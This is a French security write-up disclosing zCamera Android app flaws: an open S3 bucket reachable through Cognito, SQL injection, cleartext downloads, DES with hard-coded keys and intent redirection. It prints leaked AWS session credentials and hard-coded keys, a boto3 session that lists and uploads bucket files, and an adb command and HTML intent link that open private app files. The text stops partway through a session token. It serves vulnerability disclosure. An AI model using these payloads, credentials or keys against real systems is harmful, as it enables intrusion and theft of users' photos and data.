zCamera, une application à 100M+ d'installations, de la compromission à distance aux fuites de données
Cet article est une analyse technique approfondie qui montre comment une application de photos à plus de 100M d'installations peut exposer les images de ses utilisateurs et souffrir de vulnérabilités exploitables à distance, de l'injection SQL à la redirection d'intent, en passant par le téléchargement de fichiers arbitraires.
Cet article est une analyse technique approfondie qui montre comment une application de photos à plus de 100M d'installations peut exposer les images de ses utilisateurs et souffrir de vulnérabilités exploitables à distance, de l'injection SQL à la redirection d'intent, en passant par le téléchargement de fichiers arbitraires.
En 2021, nous avons signalé à l'équipe de Google AppStore un ensemble de vulnérabilités qui touchaient une application d'appareil photo populaire appelée zCamera.
L'application comptait plus de 100M d'installations et souffrait de plusieurs problèmes critiques qui affectaient la sécurité et la confidentialité de ses utilisateurs.
Nous avions tenté de signaler les problèmes au développeur de l'application, mais, faute de réponse, nous les avons signalés à l'équipe Google Security.
Nous avons appris récemment que l'application n'est plus accessible sur le store : un message d'erreur indique qu'elle ne peut pas être téléchargée, soit parce qu'elle n'est pas accessible, soit parce qu'elle présente des problèmes de sécurité critiques.
Nous partageons donc ce rapport en toute sécurité afin de sensibiliser et de transmettre des connaissances sur certains des problèmes critiques que nous observons dans les applications mobiles et sur la façon dont ils peuvent être exploités à distance sans nécessiter d'application malveillante sur l'appareil.
L'application vulnérable est com.jb.zcamera, une application de retouche photo dotée de fonctions de partage et de stockage d'images. L'application comptait plus de 100M d'installations, et sa version iOS compte à elle seule plus de 30k commentaires.
Les vulnérabilités identifiées sont :
| Vulnérabilité | Impact | Vecteur d'attaque |
|---|---|---|
| Bucket S3 non sécurisé | Fuite de données (images) | Aucune interaction |
| Chaîne d'injection SQL et de transfert d'intent pour accéder à la base de données SQLite, la modifier ou la supprimer | Fuite de données (base de données SQLite) | Lien malveillant |
| Trafic en clair | Fuite de données (images) | Manipulation du trafic |
| Chiffrement faible de données sensibles avec des clés codées en dur | Aggrave l'impact des vulnérabilités de fuite de données | N/A |
| Redirection d'intent | Contournement de l'autorisation | Lien malveillant |
Fuite de données sensibles due à un bucket S3 non sécurisé.
L'application utilisait AWS Cognito pour authentifier l'accès au bucket 3gcdn.tokyo d'AWS. L'accès Cognito permettait de lister tous les fichiers, d'accéder aux images des utilisateurs et d'envoyer des fichiers arbitraires.
Les permissions du bucket permettaient à tous les utilisateurs de lister, d'envoyer et de lire tous les fichiers du bucket.
Voici un exemple de code décompilé de l'application qui montre le compte Cognito.
private static CognitoCachingCredentialsProvider b(Context context) {
if (d == null) {
d = new CognitoCachingCredentialsProvider(context.getApplicationContext(), "ap-northeast-1:393fddbe-5b4c-4a8a-87db-adb7e0501ccb", Regions.AP_NORTHEAST_1);
}
return d;
}
private static AmazonS3Client c(Context context) {
if (c == null) {
ClientConfiguration clientConfiguration = new ClientConfiguration();
clientConfiguration.c(3000000);
clientConfiguration.b(3000000);
clientConfiguration.a(3);
clientConfiguration.a(Protocol.HTTPS);
c = new AmazonS3Client(b(context.getApplicationContext()), clientConfiguration);
}
c.a(Region.a(Regions.AP_NORTHEAST_1));
return c;
}
AWS Cognito offre un moyen simple d'ajouter l'inscription des utilisateurs aux applications mobiles et web. Lorsqu'un compte Cognito est configuré, les identifiants sont récupérés en accédant au point de terminaison https://cognito-identity.[zone].amazonaws.com/.
Voici la requête et la réponse interceptées, qui montrent la clé d'accès, la clé secrète et la clé de session générées :
Requête :
POST https://cognito-identity.us-east-1.amazonaws.com/ HTTP/1.1
Content-Type: application/x-amz-json-1.1
User-Agent: aws-sdk-android/2.11.1 Linux/3.4.0-gc9a1f89 Dalvik/2.1.0/0 en_US MobileHub/1.0
X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity
aws-sdk-retry: 0/0
aws-sdk-invocation-id: aef50f87-e088-4133-986e-095a91e353b6
Content-Length: 75
Connection: Keep-Alive
Host: cognito-identity.us-east-1.amazonaws.com
{"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b","Logins":{}}
Réponse :
HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 23:55:26 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 1772
Connection: keep-alive
x-amzn-RequestId: 3e58c2b6-bb84-47e8-8eed-586e47493199
{"Credentials":{"AccessKeyId":"ASIAWM5ZKESJXSGTW55U","Expiration":1.617238526E9,"SecretKey":"Dg3A8hXHt2mEiYPJgkXRoNXc4+nCZea1yy7HGgff","SessionToken":"IQoJb3JpZ2luX2VjEFAaCXVzLWVhc3QtMSJHMEUCIQD2a0IYHB89YmxvYb+FWPH3pgjgZwbxHTL5e5E/zCnYiQIgdsoN3cUrfavJSA58AYMnPp94YDAHC4FaIGZ7OlY/AXsqmgYImf//////////ARAAGgw0NDAwODU5MTQ3NzEiDHfLOwymijKmIqQ8HCruBROog1p/g5/c3hDdgpHkQWcOUv1PTlcfgVfRCKQF5bTHJXzQuhhSBIKBNWczvUvALWdzYOzgyoz2EW5yJJEP+Djz4oWPXDi1POIWiCWWRE0Obod2auS0vfF041OYsIFRF9TZT3V0waRsL6csV6t1JtM2KWu7L2lji8asEIanTuNaq4rUGOR4Iv529sxhd4JlgWac9M1XDlu2oiaVnZkee8/8ML5En8BgMTIU+BxolFtq5pjKSAawRlKaCvP/2XWNwoP1BcyRRowXYS+bhU6sMRPvc4wCiS8GXlzPYT2Rs0gChOk2xI43GUxJVtwxjx2k8UyAsDVjq9OHzsQK/Tmpi7y9c4H0ekFJuKE8+Hy5F3cS2V5qI5Ux5VrhZ3MY/+PrU2JUI17KbB+j0VqdxHuEcyPQnzj7k45NtZR4w53GZ4LxiGVJOTWQPMeYZ84p51fDsQiByQ1m+evfhpc3pkc7Peazl/33YJ8x+A/jLEcBxfGSPwYiGqv/DvJQ5occ0XT/dbdiUngtow0LEZmSH0Rjmlw/VhSl9+T7vJNU07NQVEWhtX2iKdqjZjg30uiRof8/450X6zwSDGyqcldJDGK6wTPbQ4x8xNSE0Y1W7C6EHzUBrc2N5WJpKu3rxNvxw4/bLbG+bR+IFvJGj96FIBjVvRvPw2Tg+XrR7KEndHZO1JFLYIh2S53i3kGJoQsooN0wucGixdX62ru+eRA0YcEc9xLYC8YuUw0t9SPfuQQzXV2KjGEwnV1sNebM/doXsOD40qXKrW01M1TeWQCvQZ97MIDYifXKRj7ZuulZHnjnPXQYVe8szs4lssjx/PWWJQw9EnxevWKnZK6neRTopqFD8dZYg566k8fBnk72Y65S5ydCx1P3KddbVi/hNs80G5LPV16jpMOeFCMrUrbBbHOwtz8tTnO78T6GcQTN6vF8Lcb21ExqlAgr/V61KDtS3z05LqIFdDugXihW5f6k/663IV7VWSnW5DQMk5t6fGRjqjDul5SDBjqHAuh+sQ22Te+LBgqRYqXhxrd5TfUAqS9QWaaZBOE6i8pOAN9RIXn6vcbObCOVVyt3wnNQ6Oi1URDQCn8DUn0MdFO6NQ2EJ4Y9H9yLm4foG3uJqAiiNPX78lIDa1qkvqaQBckNxhIYsSlrU5p2NdTl5k5woo8pWk2VAibgcq+JfqGrAZ6+tKR2Qy5aP96s49kOcRTqLrPcWjaDl9EWRIHSE20oWqFZgtzhUTKeuH/6dxQKI22MExMYSWJ3haIh4AaKVEpXbbtZ4oJ64w1ZWz5CU7zOnl4m2F8Bwh9hb6mP+95IUp0o9/kXcPjDe9YJ6kYFbDhU4oGCAjAHCxWsL6vJ5poJ/qNL3O15"},"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b"}
Les clés d'accès et les secrets peuvent ensuite servir à lister des fichiers, à les lire et à envoyer n'importe quel fichier avec n'importe quel nom et n'importe quel contenu :
In [3]: client = boto3.client('s3', aws_access_key_id='ASIA434KFTPDWAXUDMIH', aws_secret_access_key='/zG9QSpBVeJGIWCg4tLGrJDcebFFscSoNvwMRNaO', aws_session_token='IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAJ
rgBgcgwfTTRKStiKqJm0V5lhCaOZGdv5FsTDnjJ1VdAiBPLLqsTPECBMvqlYgZtxQvdjkogHQ6e/sC7sEKx9vzYyqkBgiY//////////8BEAAaDDg4NDUxNjE2NjU5OSIM/3UJHbnWKR8tbGbCKvgFRxHRJ9I3p7eVLDUuFPLWv8ILMCn5Mg1wxDLnY/U1IfbkRRk3V6Evojk
In [17]: client.upload_file('cross3x3.png', '3gcdn.tokyo', '/tmp/9A6C7-2021-03-09/headpic/crsog.pn')
In [9]: client.list_objects(Bucket='3gcdn.tokyo')
Out[9]:
{'ResponseMetadata': {'RequestId': '2XAFCTTEPXFEP0WC',
'HostId': 'eGU9yADLjFPKuAFj7UlpF7830Qh5Icl4Y2Vbf9NW6P4eYKvsVik6J9YPHiITzCMpZfBR3LpQ25w=',
'HTTPStatusCode': 200,
'HTTPHeaders': {'x-amz-id-2': 'eGU9yADLjFPKuAFj7UlpF7830Qh5Icl4Y2Vbf9NW6P4eYKvsVik6J9YPHiITzCMpZfBR3LpQ25w=',
'x-amz-request-id': '2XAFCTTEPXFEP0WC',
'date': 'Wed, 31 Mar 2021 22:50:25 GMT',
'x-amz-bucket-region': 'ap-northeast-1',
'content-type': 'application/xml',
'transfer-encoding': 'chunked',
'server': 'AmazonS3'},
'RetryAttempts': 1},
'IsTruncated': False,
'Marker': '',
'Contents': [{'Key': '00EC6-2021-03-17/headpic/m7VH0Pzd.jpg',
'LastModified': datetime.datetime(2021, 3, 17, 3, 33, 13, tzinfo=tzutc()),
'ETag': '"edc2823ca785a46e88731edf9507b0aa"',
'Size': 137718,
'StorageClass': 'STANDARD',
'Owner': {'DisplayName': 'yang.jiguo.gz',
'ID': '5b94b2d47950236e661022ff5b1fcf97415724b8883fdef3e10016e4fbe2b2e7'}},
{'Key': '01A43-2021-03-12/headpic/IFiAeMeK.jpg',
'LastModified': datetime.datetime(2021, 3, 12, 21, 5, 48, tzinfo=tzutc()),
'ETag': '"58ca99af9262f0b82e6978e3c9972970"',
'Size': 201745,
'StorageClass': 'STANDARD',
'Owner': {'DisplayName': 'yang.jiguo.gz',
'ID': '5b94b2d47950236e661022ff5b1fcf97415724b8883fdef3e10016e4fbe2b2e7'}},
{'Key': '01BA8-2021-03-05/headpic/7rSei
...
Fuite de données sensibles par injection SQL
L'application souffrait de plusieurs injections SQL exploitables de différentes manières.
Lister tout le code vulnérable prendrait des dizaines de pages ; voici donc un extrait de code source. L'application expose un content provider qui lit le message Intent pour composer une requête SQL par concaténation de chaînes.
public android.database.Cursor query(android.net.Uri p9, String[] p10, String p11, String[] p12, String p13, android.os.CancellationSignal p14)
{
android.database.Cursor v9_5;
android.database.sqlite.SQLiteDatabase v0 = this.b.b();
switch (com.jb.zcamera.gallery.encrypt.EncryptMediaProvider.a.match(p9)) {
case 1:
v9_5 = v0.query(images, p10, p11, p12, 0, 0, p13);
break;
case 2:
String v3_2 = android.content.ContentUris.parseId(p9);
if (v3_2 == -1) {
v9_5 = 0;
} else {
android.database.Cursor v9_8 = new StringBuilder();
v9_8.append(_id=);
v9_8.append(v3_2);
android.database.Cursor v9_9 = v9_8.toString();
if (p11 != null) {
StringBuilder v14_8 = new StringBuilder();
v14_8.append(p11);
v14_8.append(“ and “);
v14_8.append(v9_9);
v9_9 = v14_8.toString();
}
v9_5 = v0.query(images, p10, v9_9, p12, 0, 0, p13);
}
break;
case 3:
v9_5 = v0.query(videos, p10, p11, p12, 0, 0, p13);
break;
case 4:
String v3_5 = android.content.ContentUris.parseId(p9);
if (v3_5 == -1) {
} else {
android.database.Cursor v9_3 = new StringBuilder();
v9_3.append(_id=);
v9_3.append(v3_5);
android.database.Cursor v9_4 = v9_3.toString();
if (p11 != null) {
StringBuilder v14_3 = new StringBuilder();
v14_3.append(p11);
v14_3.append(“ and “);
v14_3.append(v9_4);
v9_4 = v14_3.toString();
}
v9_5 = v0.query(videos, p10, v9_4, p12, 0, 0, p13);
}
break;
default:
String v11_4 = new StringBuilder();
v11_4.append(Unknown Uri:);
v11_4.append(p9);
throw new IllegalArgumentException(v11_4.toString());
}
return v9_5;
}
Fuite de données via des liens en clair
L'application récupère plusieurs liens depuis le backend pour accéder à différentes ressources. Les plus notables sont des filtres d'image empaquetés sous forme de fichiers APK.
Voici une requête et une réponse qui illustrent les liens en clair collectés :
Requête
GET https://lzt.goforandroid.com/launcherzthemestore/rest/store/resource/package?phead=eyJhcGlMZXZlbCI6IjE1IiwicHZlcnNpb24iOiIxIiwiYWlkIjoiMWRlZjBmN2E1YWE2YTUxYiIsImFkaWQiOiIxZGVmMGY3YTVhYTZhNTFiIiwidWlkIjoiMWRlZjBmN2E1YWE2YTUxYiIsImNpZCI6MTEsImN2ZXJzaW9uIjoiMjQxIiwiY2xpZW50VmVyc2lvbiI6IjI0MSIsImdvaWQiOiI0Mjk1YWY2MzAxOTUxMDBhY2QxOWNhOWI1NjgxNGM5MSIsImN2ZXJzaW9ubmFtZSI6IjQuNTQiLCJjaGFubmVsIjoiMTAxIiwibG9jYWwiOiJVUyIsImNvdW50cnkiOiJtYSIsImxhbmciOiJlbiIsInJlc29sdXRpb24iOiJVTktOT1dOIiwic2RrIjoyNSwic3lzIjoiNy4xLjIiLCJvcyI6IjcuMS4yIiwibW9kZWwiOiJOZXh1cyA1IiwicmVxdWVzdHRpbWUiOiIyMDIxLTAzLTMxIDIyOjQ1OjEzIiwiZW50cmFuY2VJZCI6MSwiaGFzbWFya2V0IjoxLCJnYWRpZCI6IjI2NDM2NzhjLWY2NDctNGU0My1hMTkxLWIzNDcyY2Q3MjM1YSIsImVtYWlsc3RhdHVzIjoxLCJuZXQiOiJXSUZJIiwib2ZmaWNpYWwiOjB9&sourceInfo=W3sicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIuYmVhcmRlcm1hbiIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIucmVkcm9zZSIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIubm9ibGUiLCJ0eXBlIjo5fSx7InBhY2thZ2VOYW1lIjoiY29tLmpiLnpjYW1lcmEuZXh0cmEuYXJzdGlja2VyLmNhdHNjbGF3cyIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIuZ2xhbW9yb3VzIiwidHlwZSI6OX0seyJwYWNrYWdlTmFtZSI6ImNvbS5qYi56Y2FtZXJhLmV4dHJhLmFyc3RpY2tlci5vbGQ1MCIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIub2xkNjAiLCJ0eXBlIjo5fSx7InBhY2thZ2VOYW1lIjoiY29tLmpiLnpjYW1lcmEuZXh0cmEuYXJzdGlja2VyLm9sZDcwIiwidHlwZSI6OX0seyJwYWNrYWdlTmFtZSI6ImNvbS5qYi56Y2FtZXJhLmV4dHJhLmFyc3RpY2tlci5vbGQ4MCIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIub2xkOTAiLCJ0eXBlIjo5fV0 HTTP/1.1
X-Signature: b48615ba7afc8b1661c9e4edcba5afe8
Connection: Keep-Alive
Host: lzt.goforandroid.com
Réponse
HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 21:45:16 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 3924
Connection: keep-alive
ETag: "fabbe7c0ec3239ab83afbad4a23552d4"
Strict-Transport-Security: max-age=15768000
{"data":[{"type":9,"data":{"mapid":502108234,"pkgname":"com.jb.zcamera.extra.arsticker.bearderman","name":"Bearded Man","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/QSn5wB8r.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/GtCFYHsC.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171024/y4xBLEy8.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102515/150891699498678795362.zip","chargetype":0,"downtype":1,"zipVersion":5,"haslock":0,"newlocktype":2,"paytype":-1,"zipdownurl":"","size":"1.1MB"}},{"type":9,"data":{"mapid":502108239,"pkgname":"com.jb.zcamera.extra.arsticker.redrose","name":"Red Rose","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/XqodiFim.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/x0xMHTGO.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/sejQghqb.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102516/150891970955293144727.zip","chargetype":0,"downtype":1,"zipVersion":5,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"485.5KB"}},{"type":9,"data":{"mapid":502108240,"pkgname":"com.jb.zcamera.extra.arsticker.noble","name":"Noble","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171013/p7LgIBUL.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/2fCB9m4J.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/q1LeSyZp.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102516/150891979625032197505.zip","chargetype":0,"downtype":1,"zipVersion":2,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"106.8KB"}},{"type":9,"data":{"mapid":502108236,"pkgname":"com.jb.zcamera.extra.arsticker.catsclaws","name":"Cat's Claws","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/9vEt0rzp.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/zcPyXmxu.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171024/y4xBLEy8.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102515/150891770104157456228.zip","chargetype":0,"downtype":1,"zipVersion":6,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"238.6KB"}},{"type":9,"data":{"mapid":502108242,"pkgname":"com.jb.zcamera.extra.arsticker.glamorous","name":"Glamorous","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/0dSKQewo.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/RE3V9bZs.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/bflkJsG4.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102423/150885924029021919.zip","chargetype":0,"downtype":1,"zipVersion":10,"haslock":0,"newlocktype":2,"paytype":-1,"zipdownurl":"","size":"106.9KB"}},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null}],"errorResult":{"errorCode":"SUCCESS","errorMsg":"SUCCESS"}}
Chiffrement faible et utilisation d'un secret codé en dur pour stocker des images privées
L'application implémente une fonctionnalité de protection des images par mot de passe. Le chiffrement utilise le schéma de chiffrement faible DES avec une clé codée en dur. Voici la présence d'un pref_forget_pwd_code codé en dur dans l'application :
public static String m5718w() {
String string = m5663ac().getString("pref_forget_pwd_code", "");
return !TextUtils.isEmpty(string) ? aie.m2211b(string, "zalzaq47jlogh34DFddxa3i95nm3297nsvm2q1CXN3xv2197bkJlweXN199mb094883ksjaN1cABX3l9vnz9PD3rz872vxawvfA") : string;
}
Voici l'utilisation de DES pour chiffrer et générer des secrets. DES peut aujourd'hui être attaqué par force brute en raison de son petit espace de clés.
/* renamed from: b */
public static byte[] m2212b(byte[] bArr, String str) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try {
SecretKey generateSecret = SecretKeyFactory.getInstance(DesUtil.DES_ALGORITHM).generateSecret(new DESKeySpec(str.getBytes()));
Cipher instance = Cipher.getInstance(DesUtil.DES_ALGORITHM);
instance.init(2, generateSecret);
byte[] doFinal = instance.doFinal(bArr);
byteArrayOutputStream.close();
return doFinal;
} catch (Exception e) {
throw e;
} catch (Throwable th) {
byteArrayOutputStream.close();
throw th;
}
}
Et voici une autre clé codée en dur utilisée avec le chiffrement AES
public final class CryptPreferencesManager {
private static final String CRYPT_KEY = "NaubrwWEGiJEQqRxx7aXntbGOf4YiRmW0WY9043rcqRhJreE4sReMC1OFRaeI7TXWBJUiJQGpwA1UdSsR65vvNieo70IUqvUnj1mn1mLUTKEMqeM9l5g90WJJo4gBN3n";
private SharedPreferences.Editor mEditor;
private SharedPreferences mPreferences;
Fuite de données sensibles (images, base de données, fichiers du stockage externe) en suivant un lien dans un navigateur
L'un des problèmes les plus importants de l'application est la façon dont un attaquant peut contourner les restrictions sur les activités accessibles et autorisées en exploitant une vulnérabilité de redirection d'intent.
L'activité principale expose une fonctionnalité de proxy qui ouvre des liens dans une webview avec accès aux fichiers, à condition que certains flags soient définis, ou qui peut démarrer une activité avec des paramètres supplémentaires arbitraires.
public boolean a(Context context, Intent intent) {
if (intent != null && intent.getBooleanExtra("extra_is_wecloud_enter", false)) {
String stringExtra = intent.getStringExtra(WecloudNotificationKey.ACTION.getValue());
String stringExtra2 = intent.getStringExtra(WecloudNotificationKey.PARAM.getValue());
if (WecloudNotificationAction.hasValue(stringExtra)) {
WecloudNotificationAction fromValue = WecloudNotificationAction.fromValue(stringExtra);
if (fromValue == WecloudNotificationAction.URI) {
return b(context, stringExtra2);
}
if (fromValue == WecloudNotificationAction.GP) {
return c(context, stringExtra2);
}
if (fromValue == WecloudNotificationAction.FB) {
return d(context, stringExtra2);
}
if (fromValue == WecloudNotificationAction.ACTIVITY) {
return e(context, stringExtra2);
}
}
}
return false;
}
À partir de certains paramètres de l'intent, un second intent est construit à partir de la valeur de push_param. L'analyse du second paramètre implémente son propre format de sérialisation, qui prend en charge des types de base comme string, bool, int, etc. Voici le code qui construit le second intent.
private boolean m6011b(Context context, String str) {
if (TextUtils.isEmpty(str)) {
return false;
}
try {
String[] split = str.split("\\?\\#\\?\\#\\?");
String str2 = split[0];
if (TextUtils.isEmpty(str2)) {
return false;
}
if (split.length < 2) {
Intent intent = new Intent("android.intent.action.VIEW", Uri.parse(str));
intent.addFlags(268435456);
context.startActivity(intent);
return true;
}
Intent intent2 = new Intent();
mo12531a(intent2, split[1]);
if (intent2.getBooleanExtra("extra_internal_webview", false)) {
arl.m4058a(context, intent2, split[0], intent2.getBooleanExtra("extra_show_ad", false));
} else {
Intent intent3 = new Intent("android.intent.action.VIEW", Uri.parse(str2));
intent3.addFlags(268435456);
context.startActivity(intent3);
}
return true;
} catch (Throwable th) {
ars.m4113c("WecloudNotification", "", th);
return true;
}
}
private void a(Intent intent, String str, String str2) {
int lastIndexOf = str2.lastIndexOf("@");
if (lastIndexOf > 0 && lastIndexOf < str2.length() - 1) {
String substring = str2.substring(lastIndexOf + 1);
String substring2 = str2.substring(0, lastIndexOf);
if ("B".equals(substring)) {
intent.putExtra(str, Boolean.valueOf(substring2));
} else if ("I".equals(substring)) {
intent.putExtra(str, Integer.valueOf(substring2));
} else if ("D".equals(substring)) {
intent.putExtra(str, Double.valueOf(substring2));
} else if ("F".equals(substring)) {
intent.putExtra(str, Float.valueOf(substring2));
} else if ("L".equals(substring)) {
intent.putExtra(str, Long.valueOf(substring2));
} else if ("S".equals(substring)) {
intent.putExtra(str, substring2);
}
}
}
}
Pour déclencher l'ouverture d'une page dans la webview cible, un intent peut être envoyé avec la commande suivante :
adb shell am start -n com.jb.zcamera/com.jb.zcamera.camera.MainActivity --es push_action uri --es push_param 'file:///data/data/com.jb.zcamera/shared_prefs/CameraFacing.xml?#?#?\&extra_internal_webview=true@B' --ez extra_is_wecloud_enter true
Comme l'activité principale qui expose la fonctionnalité de proxy est « browsable », l'intent peut être déclenché depuis Chrome avec l'exemple de code html suivant. C'est un élément très important, car cela signifie qu'un attaquant peut déclencher cette vulnérabilité sans avoir besoin d'un accès malveillant à l'appareil.
<html>
<a href="intent://camera.gomo.com/#Intent;scheme=http;package=com.jb.zcamera;S.push_action=uri;S.push_param=file:///data/data/com.jb.zcamera/shared_prefs/CameraFacing.xml%3f%23%3f%23%3f%26extra_internal_webview%3dtrue%40B;B.extra_is_wecloud_enter=true;end">Click Me!</a>
</html>
La webview a un accès aux fichiers locaux mais n'a pas la permission d'ouvrir des fichiers depuis des URL, et le SDK cible définit l'accès aux URL de fichiers sur false.
L'activité InvolveMediaDetailActvity peut déclencher des téléchargements de fichiers avec des liens pointant vers "http://goappdl.goforandroid.com/"
L'activité accepte une URL de vidéo qui est récupérée depuis un bucket S3 :
public void getDataFromIntent() {
Intent intent = getIntent();
this.a = intent.getStringExtra(VIDEO_URL);
this.b = intent.getStringExtra(IMG_URL);
this.c = intent.getIntExtra(FILE_TYPE, -1);
}
L'URL doit avoir pour hôte http://goappdl.goforandroid.com/, mais l'hôte est tronqué et seul le chemin est utilisé pour télécharger le fichier. Le nom du fichier stocké est tiré du chemin :
public static String m1204e(String str) {
try {
if (!TextUtils.isEmpty(str)) {
if (str.startsWith("http://goappdl.goforandroid.com/")) {
return str.substring("http://goappdl.goforandroid.com/".length(), str.length());
}
}
return "";
} catch (Exception e) {
e.printStackTrace();
return "";
}
}
Comme l'accès au bucket S3 g3cdn.tokyo passe par AWS Cognito, les clés d'accès peuvent être collectées en envoyant l'identité Cognito.
Requête :
POST https://cognito-identity.us-east-1.amazonaws.com/ HTTP/1.1
Content-Type: application/x-amz-json-1.1
User-Agent: aws-sdk-android/2.11.1 Linux/3.4.0-gc9a1f89 Dalvik/2.1.0/0 en_US MobileHub/1.0
X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity
aws-sdk-retry: 0/0
aws-sdk-invocation-id: aef50f87-e088-4133-986e-095a91e353b6
Content-Length: 75
Connection: Keep-Alive
Host: cognito-identity.us-east-1.amazonaws.com
{"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b","Logins":{}}
Réponse :
HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 23:55:26 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 1772
Connection: keep-alive
x-amzn-RequestId: 3e58c2b6-bb84-47e8-8eed-586e47493199
{"Credentials":{"AccessKeyId":"ASIAWM5ZKESJXSGTW55U","Expiration":1.617238526E9,"SecretKey":"Dg3A8hXHt2mEiYPJgkXRoNXc4+nCZea1yy7HGgff","SessionToken":"IQoJb3JpZ2luX2VjEFAaCXVzLWVhc3QtMSJHMEUCIQD2a0IYHB89YmxvYb+FWPH3pgjgZwbxHTL5e5E/zCnYiQIgdsoN3cUrfavJSA58AYMnPp94YDAHC4FaIGZ7OlY/AXsqmgYImf//////////ARAAGgw0NDAwODU5MTQ3NzEiDHfLOwymijKmIqQ8HCruBROog1p/g5/c3hDdgpHkQWcOUv1PTlcfgVfRCKQF5bTHJXzQuhhSBIKBNWczvUvALWdzYOzgyoz2EW5yJJEP+Djz4oWPXDi1POIWiCWWRE0Obod2auS0vfF041OYsIFRF9TZT3V0waRsL6csV6t1JtM2KWu7L2lji8asEIanTuNaq4rUGOR4Iv529sxhd4JlgWac9M1XDlu2oiaVnZkee8/8ML5En8BgMTIU+BxolFtq5pjKSAawRlKaCvP/2XWNwoP1BcyRRowXYS+bhU6sMRPvc4wCiS8GXlzPYT2Rs0gChOk2xI43GUxJVtwxjx2k8UyAsDVjq9OHzsQK/Tmpi7y9c4H0ekFJuKE8+Hy5F3cS2V5qI5Ux5VrhZ3MY/+PrU2JUI17KbB+j0VqdxHuEcyPQnzj7k45NtZR4w53GZ4LxiGVJOTWQPMeYZ84p51fDsQiByQ1m+evfhpc3pkc7Peazl/33YJ8x+A/jLEcBxfGSPwYiGqv/DvJQ5occ0XT/dbdiUngtow0LEZmSH0Rjmlw/VhSl9+T7vJNU07NQVEWhtX2iKdqjZjg30uiRof8/450X6zwSDGyqcldJDGK6wTPbQ4x8xNSE0Y1W7C6EHzUBrc2N5WJpKu3rxNvxw4/bLbG+bR+IFvJGj96FIBjVvRvPw2Tg+XrR7KEndHZO1JFLYIh2S53i3kGJoQsooN0wucGixdX62ru+eRA0YcEc9xLYC8YuUw0t9SPfuQQzXV2KjGEwnV1sNebM/doXsOD40qXKrW01M1TeWQCvQZ97MIDYifXKRj7ZuulZHnjnPXQYVe8szs4lssjx/PWWJQw9EnxevWKnZK6neRTopqFD8dZYg566k8fBnk72Y65S5ydCx1P3KddbVi/hNs80G5LPV16jpMOeFCMrUrbBbHOwtz8tTnO78T6GcQTN6vF8Lcb21ExqlAgr/V61KDtS3z05LqIFdDugXihW5f6k/663IV7VWSnW5DQMk5t6fGRjqjDul5SDBjqHAuh+sQ22Te+LBgqRYqXhxrd5TfUAqS9QWaaZBOE6i8pOAN9RIXn6vcbObCOVVyt3wnNQ6Oi1URDQCn8DUn0MdFO6NQ2EJ4Y9H9yLm4foG3uJqAiiNPX78lIDa1qkvqaQBckNxhIYsSlrU5p2NdTl5k5woo8pWk2VAibgcq+JfqGrAZ6+tKR2Qy5aP